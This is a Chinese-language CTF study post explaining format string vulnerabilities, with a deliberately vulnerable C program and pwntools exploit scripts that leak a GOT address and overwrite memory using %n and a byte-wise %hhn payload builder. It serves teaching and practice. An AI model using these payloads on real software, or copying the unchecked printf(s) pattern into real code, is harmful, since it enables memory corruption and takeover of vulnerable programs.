PWN

CTFwiki for PWN|Format String Vulnerability Principle

格式化字符串漏洞

Posted by Elli0t on 2020-06-05

格式化字符串漏洞原理介绍


对于这样的例子,在进入 printf 函数的之前 (即还没有调用 printf),栈上的布局由高地址到低地址依次如下

1
2
3
4
5
some value
3.14
123456
addr of "red"
addr of format string: Color %s...

注:这里我们假设 3.14 上面的值为某个未知的值。
在进入 printf 之后,函数首先获取第一个参数,一个一个读取其字符会遇到两种情况

  • 当前字符不是 %,直接输出到相应标准输出。
  • 当前字符是 %, 继续读取下一个字符
    • 如果没有字符,报错
    • 如果下一个字符是 %, 输出 %
    • 否则根据相应的字符,获取相应的参数,对其进行解析并输出

那么假设,此时我们在编写程序时候,写成了下面的样子

printf("Color %s, Number %d, Float %4.2f");

此时我们可以发现我们并没有提供参数,那么程序会如何运行呢?程序照样会运行,会将栈上存储格式化字符串地址上面的三个变量分别解析

  1. 解析其地址对应的字符串
  2. 解析其内容对应的整形值
  3. 解析其内容对应的浮点值
    对于 2,3 来说倒还无妨,但是对于对于 1 来说,如果提供了一个不可访问地址,比如 0,那么程序就会因此而崩溃。

这基本就是格式化字符串漏洞的基本原理了。

泄露任意地址内存

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
from pwn import *
import time

context.terminal=["tmux","sp","-h"]
context.log_level='debug'

DEBUG = 0
LOCAL = True
BIN = './leakmemory'
HOST = 'host'
PORT = 22

def exploit(sh):
__isoc99_scanf_got = elf.got['__isoc99_scanf']
print hex(__isoc99_scanf_got)
payload = p32(__isoc99_scanf_got) + '%4$s'
print payload
sh.sendline(payload)
sh.recvuntil('%4$s\n')
print hex(u32(sh.recv()[4:8]))
sh.interactive()
return

if __name__ == '__main__':
elf = ELF(BIN)
if len(sys.argv) > 1:
LOCAL = False
sh = remote(HOST,PORT)
exploit(sh)
else:
LOCAL = True
sh = process(BIN)
log.info('PID: ' + str(proc.pidof(sh)[0]))
# pause
if DEBUG:
gdb.attach(sh)
exploit(sh)

覆盖内存

例题 C 源代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
int a = 123, b = 456;
int main(){
int c = 789;
char s[100];
printf("%p\n", &c);
scanf("%s", s);
printf(s);
if (c == 16){
puts("modified a for a small number.");
}else if (a == 2){
puts("modified afor a small number.");
}else if (b == 0x12345678){
puts("modified b for a big number!");
}
return 0;
}

覆盖栈内存

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
from pwn import *
import time

context.terminal=["tmux","sp","-h"]
context.log_level='debug'

DEBUG = 0
LOCAL = True
BIN = './overflow'
HOST = 'host'
PORT = 22

def exploit(sh):
c_addr = int(sh.recvuntil('\n',drop=True),16)
print hex(c_addr)
payload = p32(c_addr) + '%012d' + '%6$n'
print payload
#pause()
sh.sendline(payload)
print hex(u32(sh.recvuntil('mo', drop = True)[-4:]))
sh.interactive()
return

if __name__ == '__main__':
elf = ELF(BIN)
if len(sys.argv) > 1:
LOCAL = False
sh = remote(HOST,PORT)
exploit(sh)
else:
LOCAL = True
sh = process(BIN)
log.info('PID: ' + str(proc.pidof(sh)[0]))
# pause
if DEBUG:
gdb.attach(sh)
exploit(sh)

覆盖任意地址内存(覆盖小数字)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
from pwn import *
import time

context.terminal=["tmux","sp","-h"]
context.log_level='debug'

DEBUG = 0
LOCAL = True
BIN = './overflow'
HOST = 'host'
PORT = 22

def exploit(sh):
a_addr = 0x0804A024
payload = 'aa%8$naa' + p32(a_addr)
sh.sendline(payload)
print sh.recv()
sh.interactive()
return

if __name__ == '__main__':
elf = ELF(BIN)
if len(sys.argv) > 1:
LOCAL = False
sh = remote(HOST,PORT)
exploit(sh)
else:
LOCAL = True
sh = process(BIN)
log.info('PID: ' + str(proc.pidof(sh)[0]))
# pause
if DEBUG:
gdb.attach(sh)
exploit(sh)

覆盖任意地址内存(覆盖大数字)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
from pwn import *
import time

context.terminal=["tmux","sp","-h"]
context.log_level='debug'

DEBUG = 0
LOCAL = True
BIN = './overflow'
HOST = 'host'
PORT = 22

def fmt(prev, word, index):
if prev < word:
result = word - prev
fmtstr = "%" + str(result) + "c"
elif prev == word:
result = 0
else:
result = 256 + word - prev
fmtstr = "%" + str(result) + "c"
fmtstr += "%" + str(index) + "$hhn"
return fmtstr

def fmt_str(offset,size,addr,target):
payload = ''
for i in range(4):
if size == 4:
payload += p32(addr + i)
else:
payload += p64(addr + i)
prev = len(payload)
for i in range(4):
payload += fmt(prev,(target >> i * 8) & 0xff,offset + i)
prev = (target >> i * 8) & 0xff
return payload

def exploit(sh):
payload = fmt_str(6, 4, 0x0804a028, 0x12345678)
# payload = "(\xa0\x0)\xa0\x0*\xa0\x0+\xa0\x0 %104c%6$hhn %222c%7$hhn %222c%8$hhn %222c%9$hhn"
# 256 + 86 - 120 = 222
print payload
sh.sendline(payload)
print sh.recv()
sh.interactive()
return

if __name__ == '__main__':
elf = ELF(BIN)
if len(sys.argv) > 1:
LOCAL = False
sh = remote(HOST,PORT)
exploit(sh)
else:
LOCAL = True
sh = process(BIN)
log.info('PID: ' + str(proc.pidof(sh)[0]))
# pause
if DEBUG:
gdb.attach(sh)
exploit(sh)

大数字(0x12345678)进行单字节写入,小端序。先写入0x78再写入0x56…

但是写0x78后前方输出的字符已经有0x78个字符了,那怎么再拼成0x56呢?我们需要配置 payload 将前方输出的字符串拼成0x156。